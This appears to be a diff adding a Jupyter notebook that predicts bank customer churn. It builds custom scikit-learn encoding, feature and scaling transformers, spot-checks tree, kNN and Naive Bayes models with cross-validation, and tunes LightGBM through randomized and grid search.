AAAAA7HxaW9uyaUtT2js6sr5hQ+rXrU/9mvVZuXpN6tesz+J33ss7761IW3t7l7eMGzcuF198cS644IIMGTKky58H9DwdHR158MEHc9NNN2XevHnb5ZnDB/bNxFGDMmZIvwwb0DcjB1dn5KC+GdKvT/pW9UpVZUWqq7znAQAAAIBSamppS0tbR5pb2rN+y9bUb2hOfWNT1m5qzvvrtmTxqg1Zs7F5u7QceeSRufTSS3PaaaeloqJiuzwT6Nmam5tzzz335Oabb85rr73W9Q8sFDJg+NgMHjsh/YeOSnXN8PQbWpvqwcPTZ+CQ9KrsnV5V1elV1afrWwAAAAC6qY7WlrRt3ZL2ttZs3bg+TY1rsmXdqjQ1rM7mtSv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+ "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 109 + } + ], + "source": [ + "## Decision tree Classifier\n", + "clf = DecisionTreeClassifier(criterion= 'entropy', class_weight=weights_dict, \n", + " max_depth=3, max_features=None,\n", + " min_samples_split=25, min_samples_leaf=15)\n", + "## We fit the model\n", + "clf.fit(X_train, y_train)\n", + "## Export now as a dot file\n", + "dot_data = export_graphviz(clf, out_file='tree.dot',\n", + " feature_names=selected_feats_dt,\n", + " class_names=['Did not churn', 'Churned'],\n", + " rounded=True, proportion=False,\n", + " precision=2, filled=True)\n", + "## Convert to png using system command (requires Graphviz)\n", + "subprocess.run(['dot', '-Tpng','tree.dot', '-o', 'tree.png', '-Gdpi=600'])\n", + "## Display the rule-set of a single tree\n", + "from IPython.display import Image\n", + "Image(filename = 'tree.png')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "D6kuUq2JpExH" + }, + "source": [ + "### Spot-checking various ML algorithms\n", + "\n", + "We will follow the following steps:\n", + "\n", + "- Data preparation and model run through Pipelines\n", + "\n", + "- Define a List of all models to compare/spot-check\n", + "\n", + "- Model evaluation through k-fold Cross validation framework" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "CEQHIRAYpExH" + }, + "source": [ + "#### Data preparation automatisation and model run through Pipelines\n", + "We create a sklearn transformer class namely `CategoricalEncoder` to perform LabelEncoding, OneHotEncoding, TargetEncoding. We draw our inspiration from this [site](https://brendanhasz.github.io/2019/03/04/target-encoding.html)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "r2dnP819pExH" + }, + "outputs": [], + "source": [ + "class CategoricalEncoder(BaseEstimator, TransformerMixin):\n", + " \"\"\" \n", + " Encodes categorical columns using LabelEncoding, OneHotEncoding and TargetEncoding.\n", + " LabelEncoding is used for binary categorical columns\n", + " OneHotEncoding is used for columns with <= 10 distinct values\n", + " TargetEncoding is used for columns with higher cardinality (>10 distinct values)\n", + " \n", + " \"\"\"\n", + "\n", + " def __init__(self, cols = None, lcols = None, ohecols = None, tcols = None, reduce_df = False):\n", + " \"\"\"\n", + " \n", + " Parameters\n", + " ----------\n", + " cols : list of str\n", + " Columns to encode. Default is to one-hot/target/label encode all categorical columns in the DataFrame.\n", + " reduce_df : bool\n", + " Whether to use reduced degrees of freedom for encoding\n", + " (that is, add N-1 one-hot columns for a column with N \n", + " categories). E.g. for a column with categories A, B, \n", + " and C: When reduce_df is True, A=[1, 0], B=[0, 1],\n", + " and C=[0, 0]. When reduce_df is False, A=[1, 0, 0], \n", + " B=[0, 1, 0], and C=[0, 0, 1]\n", + " Default = False\n", + " \n", + " \"\"\"\n", + " \n", + " if isinstance(cols,str):\n", + " self.cols = [cols]\n", + " else :\n", + " self.cols = cols\n", + " \n", + " if isinstance(lcols,str):\n", + " self.lcols = [lcols]\n", + " else :\n", + " self.lcols = lcols\n", + " \n", + " if isinstance(ohecols,str):\n", + " self.ohecols = [ohecols]\n", + " else :\n", + " self.ohecols = ohecols\n", + " \n", + " if isinstance(tcols,str):\n", + " self.tcols = [tcols]\n", + " else :\n", + " self.tcols = tcols\n", + " \n", + " self.reduce_df = reduce_df\n", + " \n", + " \n", + " def fit(self, X, y):\n", + " \"\"\"Fit label/one-hot/target encoder to X and y\n", + " \n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing columns to encode\n", + " y : pandas Series, shape = [n_samples]\n", + " Target values.\n", + " \n", + " Returns\n", + " -------\n", + " self : encoder\n", + " Returns self.\n", + " \"\"\"\n", + " \n", + " # Encode all categorical cols by default\n", + " if self.cols is None:\n", + " self.cols = [c for c in X if str(X[c].dtype)=='object']\n", + "\n", + " # Check columns are in X\n", + " for col in self.cols:\n", + " if col not in X:\n", + " raise ValueError('Column \\''+col+'\\' not in X')\n", + " \n", + " # Separating out lcols, ohecols and tcols\n", + " if self.lcols is None:\n", + " self.lcols = [c for c in self.cols if X[c].nunique() <= 2]\n", + " \n", + " if self.ohecols is None:\n", + " self.ohecols = [c for c in self.cols if ((X[c].nunique() > 2) & (X[c].nunique() <= 10))]\n", + " \n", + " if self.tcols is None:\n", + " self.tcols = [c for c in self.cols if X[c].nunique() > 10]\n", + " \n", + " \n", + " ## Create Label Encoding mapping\n", + " self.lmaps = dict()\n", + " for col in self.lcols:\n", + " self.lmaps[col] = dict(zip(X[col].values, X[col].astype('category').cat.codes.values))\n", + " \n", + " \n", + " ## Create OneHot Encoding mapping\n", + " self.ohemaps = dict() #dict to store map for each column\n", + " for col in self.ohecols:\n", + " self.ohemaps[col] = []\n", + " uniques = X[col].unique()\n", + " for unique in uniques:\n", + " self.ohemaps[col].append(unique)\n", + " if self.reduce_df:\n", + " del self.ohemaps[col][-1]\n", + " \n", + " \n", + " ## Create Target Encoding mapping\n", + " self.global_target_mean = y.mean().round(2)\n", + " self.sum_count = dict()\n", + " for col in self.tcols:\n", + " self.sum_count[col] = dict()\n", + " uniques = X[col].unique()\n", + " for unique in uniques:\n", + " ix = X[col]==unique\n", + " self.sum_count[col][unique] = (y[ix].sum(),ix.sum())\n", + " \n", + " \n", + " ## Return the fit object\n", + " return self\n", + " \n", + " \n", + " def transform(self, X, y=None):\n", + " \"\"\"Perform label/one-hot/target encoding transformation.\n", + " \n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing columns to label encode\n", + " \n", + " Returns\n", + " -------\n", + " pandas DataFrame\n", + " Input DataFrame with transformed columns\n", + " \"\"\"\n", + " \n", + " Xo = X.copy()\n", + " ## Perform label encoding transformation\n", + " for col, lmap in self.lmaps.items():\n", + " \n", + " # Map the column\n", + " Xo[col] = Xo[col].map(lmap)\n", + " Xo[col].fillna(-1, inplace=True) ## Filling new values with -1\n", + " \n", + " \n", + " ## Perform one-hot encoding transformation\n", + " for col, vals in self.ohemaps.items():\n", + " for val in vals:\n", + " new_col = col+'_'+str(val)\n", + " Xo[new_col] = (Xo[col]==val).astype('uint8')\n", + " del Xo[col]\n", + " \n", + " \n", + " ## Perform LOO target encoding transformation\n", + " # Use normal target encoding if this is test data\n", + " if y is None:\n", + " for col in self.sum_count:\n", + " vals = np.full(X.shape[0], np.nan)\n", + " for cat, sum_count in self.sum_count[col].items():\n", + " vals[X[col]==cat] = (sum_count[0]/sum_count[1]).round(2)\n", + " Xo[col] = vals\n", + " Xo[col].fillna(self.global_target_mean, inplace=True) # Filling new values by global target mean\n", + "\n", + " # LOO target encode each column\n", + " else:\n", + " for col in self.sum_count:\n", + " vals = np.full(X.shape[0], np.nan)\n", + " for cat, sum_count in self.sum_count[col].items():\n", + " ix = X[col]==cat\n", + " if sum_count[1] > 1:\n", + " vals[ix] = ((sum_count[0]-y[ix].reshape(-1,))/(sum_count[1]-1)).round(2)\n", + " else :\n", + " vals[ix] = ((y.sum() - y[ix])/(X.shape[0] - 1)).round(2) # Catering to the case where a particular \n", + " # category level occurs only once in the dataset\n", + " \n", + " Xo[col] = vals\n", + " Xo[col].fillna(self.global_target_mean, inplace=True) # Filling new values by global target mean\n", + " \n", + " \n", + " ## Return encoded DataFrame\n", + " return Xo\n", + " \n", + " \n", + " def fit_transform(self, X, y=None):\n", + " \"\"\"Fit and transform the data via label/one-hot/target encoding.\n", + " \n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing columns to encode\n", + " y : pandas Series, shape = [n_samples]\n", + " Target values (required!).\n", + "\n", + " Returns\n", + " -------\n", + " pandas DataFrame\n", + " Input DataFrame with transformed columns\n", + " \"\"\"\n", + " \n", + " return self.fit(X, y).transform(X, y)\n", + " \n" + ] + }, + { + "cell_type": "markdown", + "source": [ + "`AddFeatures` class below will allow us to add new, engineered features using original categorical and numerical features of the DataFrame." + ], + "metadata": { + "id": "CzCnNqdylb34" + } + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "x-EF7i4ypExH" + }, + "outputs": [], + "source": [ + "class AddFeatures(BaseEstimator):\n", + " \"\"\"\n", + " Add new, engineered features using original categorical and numerical features of the DataFrame\n", + " \"\"\"\n", + " \n", + " def __init__(self, eps = 1e-6):\n", + " \"\"\"\n", + " Parameters\n", + " ----------\n", + " eps : A small value to avoid divide by zero error. Default value is 0.000001\n", + " \"\"\"\n", + " \n", + " self.eps = eps\n", + " \n", + " \n", + " def fit(self, X, y=None):\n", + " return self\n", + " \n", + " \n", + " def transform(self, X):\n", + " \"\"\"\n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing base columns using which new interaction-based features can be engineered\n", + " \"\"\"\n", + " Xo = X.copy()\n", + " ## Add 4 new columns - bal_per_product, bal_by_est_salary, tenure_age_ratio, age_surname_mean_churn\n", + " Xo['bal_per_product'] = Xo.Balance/(Xo.NumOfProducts + self.eps)\n", + " Xo['bal_by_est_salary'] = Xo.Balance/(Xo.EstimatedSalary + self.eps)\n", + " Xo['tenure_age_ratio'] = Xo.Tenure/(Xo.Age + self.eps)\n", + " Xo['age_surname_enc'] = np.sqrt(Xo.Age) * Xo.Surname_enc\n", + " \n", + " ## Returning the updated dataframe\n", + " return Xo\n", + " \n", + " \n", + " def fit_transform(self, X, y=None):\n", + " \"\"\"\n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing base columns using which new interaction-based features can be engineered\n", + " \"\"\"\n", + " return self.fit(X,y).transform(X)\n", + " \n", + " " + ] + }, + { + "cell_type": "markdown", + "source": [ + " A custom standard scaler class below can apply scaling on selected columns" + ], + "metadata": { + "id": "MagctZgKmjZR" + } + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4fffcfjapExI" + }, + "outputs": [], + "source": [ + "class CustomScaler(BaseEstimator, TransformerMixin):\n", + " \"\"\"\n", + " A custom standard scaler class with the ability to apply scaling on selected columns\n", + " \"\"\"\n", + " \n", + " def __init__(self, scale_cols = None):\n", + " \"\"\"\n", + " Parameters\n", + " ----------\n", + " scale_cols : list of str\n", + " Columns on which to perform scaling and normalization. Default is to scale all numerical columns\n", + " \n", + " \"\"\"\n", + " self.scale_cols = scale_cols\n", + " \n", + " \n", + " def fit(self, X, y=None):\n", + " \"\"\"\n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing columns to scale\n", + " \"\"\"\n", + " \n", + " # Scaling all non-categorical columns if user doesn't provide the list of columns to scale\n", + " if self.scale_cols is None:\n", + " self.scale_cols = [c for c in X if ((str(X[c].dtype).find('float') != -1) or (str(X[c].dtype).find('int') != -1))]\n", + " \n", + " \n", + " ## Create mapping corresponding to scaling and normalization\n", + " self.maps = dict()\n", + " for col in self.scale_cols:\n", + " self.maps[col] = dict()\n", + " self.maps[col]['mean'] = np.mean(X[col].values).round(2)\n", + " self.maps[col]['std_dev'] = np.std(X[col].values).round(2)\n", + " \n", + " # Return fit object\n", + " return self\n", + " \n", + " \n", + " def transform(self, X):\n", + " \"\"\"\n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing columns to scale\n", + " \"\"\"\n", + " Xo = X.copy()\n", + " \n", + " ## Map transformation to respective columns\n", + " for col in self.scale_cols:\n", + " Xo[col] = (Xo[col] - self.maps[col]['mean']) / self.maps[col]['std_dev']\n", + " \n", + " \n", + " # Return scaled and normalized DataFrame\n", + " return Xo\n", + " \n", + " \n", + " def fit_transform(self, X, y=None):\n", + " \"\"\"\n", + " Parameters\n", + " ----------\n", + " X : pandas DataFrame, shape [n_samples, n_columns]\n", + " DataFrame containing columns to scale\n", + " \"\"\"\n", + " # Fit and return transformed dataframe\n", + " return self.fit(X).transform(X)\n", + " \n", + " " + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "Y9kcVxjtpExI" + }, + "source": [ + "#### Pipeline in action for a single model-Decision tree model" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "2EKu7YjTpExI", + "outputId": "e4cdac8e-b922-4770-b8dc-34130aed82f8" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Pipeline(steps=[('categorical_encoding',\n", + " CategoricalEncoder(cols=[], lcols=[], ohecols=[], tcols=[])),\n", + " ('add_new_features', AddFeatures()),\n", + " ('standard_scaling',\n", + " CustomScaler(scale_cols=['CreditScore', 'Age', 'Balance',\n", + " 'EstimatedSalary', 'bal_per_product',\n", + " 'bal_by_est_salary',\n", + " 'tenure_age_ratio',\n", + " 'age_surname_enc'])),\n", + " ('classifier',\n", + " DecisionTreeClassifier(class_weight={0: 1.0, 1: 3.92},\n", + " criterion='entropy', max_depth=4,\n", + " min_samples_leaf=15,\n", + " min_samples_split=25))])" + ] + }, + "metadata": {}, + "execution_count": 113 + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Confusion Matrix: [[633 209]\n", + " [ 61 177]]\n", + "Area Under Curve: 0.7477394758378411\n", + "Recall score: 0.7436974789915967\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.91 0.75 0.82 842\n", + " 1 0.46 0.74 0.57 238\n", + "\n", + " accuracy 0.75 1080\n", + " macro avg 0.69 0.75 0.70 1080\n", + "weighted avg 0.81 0.75 0.77 1080\n", + "\n" + ] + } + ], + "source": [ + "weights_dict = {0 : 1.0, 1 : 3.92}\n", + "X = dc_train.drop(columns = ['Exited'], axis = 1)\n", + "X_val = dc_val.drop(columns = ['Exited'], axis = 1)\n", + "\n", + "cols_to_scale = ['CreditScore', 'Age', 'Balance', 'EstimatedSalary', 'bal_per_product', 'bal_by_est_salary', 'tenure_age_ratio'\n", + " ,'age_surname_enc']\n", + "\n", + "clf = DecisionTreeClassifier(criterion = 'entropy', class_weight = weights_dict, max_depth = 4, max_features = None\n", + " , min_samples_split = 25, min_samples_leaf = 15)\n", + "model = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('standard_scaling', CustomScaler(cols_to_scale)),\n", + " ('classifier', clf)\n", + " ])\n", + "# Fit pipeline with training data\n", + "model.fit(X,y_train)\n", + "# Predict target values on val data\n", + "val_preds = model.predict(X_val)\n", + "## Validation metrics\n", + "print(f'Confusion Matrix: {confusion_matrix(y_val,val_preds)}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val,val_preds)}')\n", + "print(f'Recall score: {recall_score(y_val,val_preds)}')\n", + "print(f'Classification report: \\n{classification_report(y_val,val_preds)}')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "MvgTmIPJpExJ" + }, + "source": [ + "### Define model Zoo and k-fold Cross Validation" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "5b0Y6tEzpExJ" + }, + "source": [ + "List of models : \n", + "- [RandomForestClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.RandomForestClassifier.html)\n", + "- [ExtraTreesClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.ExtraTreesClassifier.html)\n", + "- [LGBMClassifier](https://lightgbm.readthedocs.io/en/latest/pythonapi/lightgbm.LGBMClassifier.html)\n", + "- [XGBClassifier](https://xgboost.readthedocs.io/en/stable/python/python_api.html)\n", + "- [KNeighborsClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.neighbors.KNeighborsClassifier.html)\n", + "- [Naive Bayes](https://scikit-learn.org/stable/modules/naive_bayes.html)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "HeeS7CiHpExK", + "outputId": "4e3f86d5-bffd-4079-be23-d51896460c63" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "3.93" + ] + }, + "metadata": {}, + "execution_count": 114 + } + ], + "source": [ + "## Preparing data and a few common model parameters\n", + "X = dc_train.drop(columns = ['Exited'], axis = 1)\n", + "y = y_train.ravel()\n", + "\n", + "weights_dict = {0 : 1.0, 1 : 3.93}\n", + "_, num_samples = np.unique(y_train, return_counts = True)\n", + "weight = (num_samples[0]/num_samples[1]).round(2)\n", + "weight\n", + "\n", + "cols_to_scale = ['CreditScore', 'Age', 'Balance', 'EstimatedSalary', 'bal_per_product', 'bal_by_est_salary', 'tenure_age_ratio'\n", + " ,'age_surname_enc']" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "F_ERqfdspExK" + }, + "outputs": [], + "source": [ + "## Preparing a list of models to try out in the spot-checking process\n", + "def model_zoo(models = dict()):\n", + " # Tree models\n", + " for n_trees in [21, 1001]:\n", + " models['rf_' + str(n_trees)] = RandomForestClassifier(n_estimators = n_trees, n_jobs = -1, criterion = 'entropy'\n", + " , class_weight = weights_dict, max_depth = 6, max_features = 0.6\n", + " , min_samples_split = 30, min_samples_leaf = 20)\n", + " \n", + " models['lgb_' + str(n_trees)] = LGBMClassifier(boosting_type='dart', num_leaves=31, max_depth= 6, learning_rate=0.1\n", + " , n_estimators=n_trees, class_weight=weights_dict, min_child_samples=20\n", + " , colsample_bytree=0.6, reg_alpha=0.3, reg_lambda=1.0, n_jobs=- 1\n", + " , importance_type = 'gain')\n", + " \n", + " models['xgb_' + str(n_trees)] = XGBClassifier(objective='binary:logistic', n_estimators = n_trees, max_depth = 6\n", + " , learning_rate = 0.03, n_jobs = -1, colsample_bytree = 0.6\n", + " , reg_alpha = 0.3, reg_lambda = 0.1, scale_pos_weight = weight)\n", + " \n", + " models['et_' + str(n_trees)] = ExtraTreesClassifier(n_estimators=n_trees, criterion = 'entropy', max_depth = 6\n", + " , max_features = 0.6, n_jobs = -1, class_weight = weights_dict\n", + " , min_samples_split = 30, min_samples_leaf = 20)\n", + " \n", + " # kNN models\n", + " for n in [3,5,11]:\n", + " models['knn_' + str(n)] = KNeighborsClassifier(n_neighbors=n)\n", + " \n", + " # Naive-Bayes models\n", + " models['gauss_nb'] = GaussianNB()\n", + " models['multi_nb'] = MultinomialNB()\n", + " models['compl_nb'] = ComplementNB()\n", + " models['bern_nb'] = BernoulliNB()\n", + " \n", + " return models" + ] + }, + { + "cell_type": "markdown", + "source": [ + "The below function implements data preparation automation and model run through pipelines" + ], + "metadata": { + "id": "rHKbZsAeopb2" + } + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "65HwYqhkpExK" + }, + "outputs": [], + "source": [ + "## Automation of data preparation and model run through pipelines\n", + "def make_pipeline(model):\n", + " '''\n", + " Creates pipeline for the model passed as the argument. Uses standard scaling only in case of kNN models. \n", + " Ignores scaling step for tree/Naive Bayes models\n", + " '''\n", + " \n", + " if (str(model).find('KNeighborsClassifier') != -1):\n", + " pipe = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('standard_scaling', CustomScaler(cols_to_scale)),\n", + " ('classifier', model)\n", + " ])\n", + " else :\n", + " pipe = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier', model)\n", + " ])\n", + " \n", + " \n", + " return pipe\n" + ] + }, + { + "cell_type": "markdown", + "source": [ + " The below function will evaluate 15 models using K-Fold cross-validation" + ], + "metadata": { + "id": "ues8QDfuo42z" + } + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "fS9Xz0BcpExK" + }, + "outputs": [], + "source": [ + "## Run/Evaluate all 15 models using KFold cross-validation (5 folds)\n", + "def evaluate_models(X, y, models, folds = 5, metric = 'recall'):\n", + " results = dict()\n", + " for name, model in models.items():\n", + " # Evaluate model through automated pipelines\n", + " pipeline = make_pipeline(model)\n", + " scores = cross_val_score(pipeline, X, y, cv = folds, scoring = metric, n_jobs = -1)\n", + " \n", + " # Store results of the evaluated model\n", + " results[name] = scores\n", + " mu, sigma = np.mean(scores), np.std(scores)\n", + " # Printing individual model results\n", + " print('Model {}: mean = {}, std_dev = {}'.format(name, mu, sigma))\n", + " return results " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "sziaQ4yxpExK", + "outputId": "ced2eb81-6c79-48ea-d6e0-d923dc8b95d6" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Recall metric\n", + "Model rf_21: mean = 0.7524835045761499, std_dev = 0.02071946753429629\n", + "Model lgb_21: mean = 0.7866856291480427, std_dev = 0.015745566437193475\n", + "Model xgb_21: mean = 0.7506085408564075, std_dev = 0.01096611280139578\n", + "Model et_21: mean = 0.7412782260405177, std_dev = 0.011199108629320383\n", + "Model rf_1001: mean = 0.7512199841334339, std_dev = 0.027531904052695406\n", + "Model lgb_1001: mean = 0.6884232116251622, std_dev = 0.014573973874519829\n", + "Model xgb_1001: mean = 0.6753719935759757, std_dev = 0.01756702999772903\n", + "Model et_1001: mean = 0.737565062595538, std_dev = 0.00626496423068387\n", + "Model knn_3: mean = 0.32214933921557243, std_dev = 0.021051639994704833\n", + "Model knn_5: mean = 0.2879356049612043, std_dev = 0.006396680440459953\n", + "Model knn_11: mean = 0.23568622898163735, std_dev = 0.023099705052575383\n", + "Model gauss_nb: mean = 0.0360906329211896, std_dev = 0.0151162576177723\n", + "Model multi_nb: mean = 0.5404191095373541, std_dev = 0.022285871235774777\n", + "Model compl_nb: mean = 0.5404191095373541, std_dev = 0.022285871235774777\n", + "Model bern_nb: mean = 0.31030552814380524, std_dev = 0.022201596952259223\n", + "F1-score metric\n", + "Model rf_21: mean = 0.6251668115550203, std_dev = 0.018921688281918148\n", + "Model lgb_21: mean = 0.6445713376921776, std_dev = 0.010347896896123705\n", + "Model xgb_21: mean = 0.6130509823329311, std_dev = 0.00848890204896738\n", + "Model et_21: mean = 0.5903714252945735, std_dev = 0.01286735352535791\n", + "Model rf_1001: mean = 0.6287522797060677, std_dev = 0.015247131077383323\n", + "Model lgb_1001: mean = 0.677231392541388, std_dev = 0.009841732603586511\n", + "Model xgb_1001: mean = 0.683463280904695, std_dev = 0.014982910608582397\n", + "Model et_1001: mean = 0.5907698582326841, std_dev = 0.008366741510516333\n", + "Model knn_3: mean = 0.4067382505578322, std_dev = 0.022720962890263006\n", + "Model knn_5: mean = 0.3899028888667188, std_dev = 0.007862325744140088\n", + "Model knn_11: mean = 0.3512153712304775, std_dev = 0.027579669538701175\n", + "Model gauss_nb: mean = 0.06337492524758484, std_dev = 0.024499096874076205\n", + "Model multi_nb: mean = 0.329272413622277, std_dev = 0.011346796699221388\n", + "Model compl_nb: mean = 0.329272413622277, std_dev = 0.011346796699221388\n", + "Model bern_nb: mean = 0.34121749133649887, std_dev = 0.016767819528172967\n" + ] + } + ], + "source": [ + "## Spot-checking in action\n", + "models = model_zoo()\n", + "print('Recall metric')\n", + "results = evaluate_models(X, y , models, metric = 'recall')\n", + "print('F1-score metric')\n", + "results = evaluate_models(X, y , models, metric = 'f1')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "IZWSCEJ4pExK" + }, + "source": [ + "Based on the relevant metric, a suitable model can be chosen for further hyperparameter tuning. LightGBM is chosen for further hyperparameter tuning because it has the best performance on recall metric and it came close second when comparing using F1-scores" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "wz66uJALpExL" + }, + "source": [ + "### Hyperparameter tuning\n", + "\n", + " We will perform [RandomizedSearchCV](https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.RandomizedSearchCV.html) and [GridSearchCV](https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.GridSearchCV.html)\n", + "\n", + "- Randomized Search is more suitable for large datasets, with many parameter settings.\n", + "- Grid Search results in a more precise hyperparameter tuning, thus resulting in better model performance. Intelligent tuning mechanism can also help reduce the time taken in GridSearch by a large factor.\n", + "- We Will optimize on the F1 metric.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "QZaN_N9ZpExL", + "outputId": "a6688e13-4da0-4647-b86c-54d4a4d6c9be" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "((7920, 17), (7920,))" + ] + }, + "metadata": {}, + "execution_count": 119 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "((1080, 17), (1080,))" + ] + }, + "metadata": {}, + "execution_count": 119 + } + ], + "source": [ + "## Preparing data and a few common model parameters\n", + "# Unscaled features will be used since it's a tree model\n", + "\n", + "X_train = dc_train.drop(columns = ['Exited'], axis = 1)\n", + "X_val = dc_val.drop(columns = ['Exited'], axis = 1)\n", + "\n", + "X_train.shape, y_train.shape\n", + "X_val.shape, y_val.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ZlOqmJa5pExL" + }, + "outputs": [], + "source": [ + "lgb = LGBMClassifier(boosting_type = 'dart', min_child_samples = 20, n_jobs = - 1, importance_type = 'gain', num_leaves = 31)\n", + "model = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier', lgb)\n", + " ])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "tsEl4QJ1pExL" + }, + "source": [ + "#### Randomized Search" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "KMCsBW6spExL" + }, + "outputs": [], + "source": [ + "## Exhaustive list of parameters\n", + "parameters = {'classifier__n_estimators':[10, 21, 51, 100, 201, 350, 501]\n", + " ,'classifier__max_depth': [3, 4, 6, 9]\n", + " ,'classifier__num_leaves':[7, 15, 31] \n", + " ,'classifier__learning_rate': [0.03, 0.05, 0.1, 0.5, 1]\n", + " ,'classifier__colsample_bytree': [0.3, 0.6, 0.8]\n", + " ,'classifier__reg_alpha': [0, 0.3, 1, 5]\n", + " ,'classifier__reg_lambda': [0.1, 0.5, 1, 5, 10]\n", + " ,'classifier__class_weight': [{0:1,1:1.0}, {0:1,1:1.96}, {0:1,1:3.0}, {0:1,1:3.93}]\n", + " }\n", + " ## Perform randomized Search\n", + "search = RandomizedSearchCV(model, parameters, n_iter = 20, cv = 5, scoring = 'f1')\n", + "search.fit(X_train, y_train.ravel()) ## Fit the model\n", + "search.best_params_ ## define best parameters\n", + "search.best_score_ ## Define best score" + ] + }, + { + "cell_type": "markdown", + "source": [ + "Our best score is 0.6880816097558734. We can have a view of our best parameters. We will continue with grid search and see." + ], + "metadata": { + "id": "Ufy4mT_Dqn9Y" + } + }, + { + "cell_type": "markdown", + "metadata": { + "id": "K5gOzEqLpExM" + }, + "source": [ + "#### Grid Search" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "hMEX6eaipExM", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "e445a418-8ad2-4c8c-91bb-988b71b5f740" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "GridSearchCV(cv=5,\n", + " estimator=Pipeline(steps=[('categorical_encoding',\n", + " CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier',\n", + " LGBMClassifier(boosting_type='dart',\n", + " importance_type='gain'))]),\n", + " n_jobs=-1,\n", + " param_grid={'classifier__class_weight': [{0: 1, 1: 3.0}],\n", + " 'classifier__colsample_bytree': [0.6, 0.8],\n", + " 'classifier__learning_rate': [0.1],\n", + " 'classifier__max_depth': [6],\n", + " 'classifier__n_estimators': [201],\n", + " 'classifier__num_leaves': [63],\n", + " 'classifier__reg_alpha': [0, 1, 10],\n", + " 'classifier__reg_lambda': [0.1, 1, 5]},\n", + " scoring='f1')" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "0.6827227378996369" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "## Current list of parameters\n", + "parameters = {'classifier__n_estimators':[201]\n", + " ,'classifier__max_depth': [6]\n", + " ,'classifier__num_leaves': [63]\n", + " ,'classifier__learning_rate': [0.1]\n", + " ,'classifier__colsample_bytree': [0.6, 0.8]\n", + " ,'classifier__reg_alpha': [0, 1, 10]\n", + " ,'classifier__reg_lambda': [0.1, 1, 5]\n", + " ,'classifier__class_weight': [{0:1,1:3.0}]\n", + " }\n", + "grid = GridSearchCV(model, parameters, cv = 5, scoring = 'f1', n_jobs = -1)## perform grid search\n", + "grid.fit(X_train, y_train.ravel()) ## Fit the mdel\n", + "grid.best_score_ ## Best scores" + ] + }, + { + "cell_type": "markdown", + "source": [ + "Our best score for Grid search is 0.6827227378996369. But it performs almost the same as Randomized Search. We will consider using Grid search because of its precision in hyperparameter tuning. The `class_weight: [{0: 1, 1: 3.0}]` will be of critical importance in dealing with class imbalance." + ], + "metadata": { + "id": "hWyhMgmMrcpH" + } + }, + { + "cell_type": "markdown", + "metadata": { + "id": "EdrVko1rpExN" + }, + "source": [ + 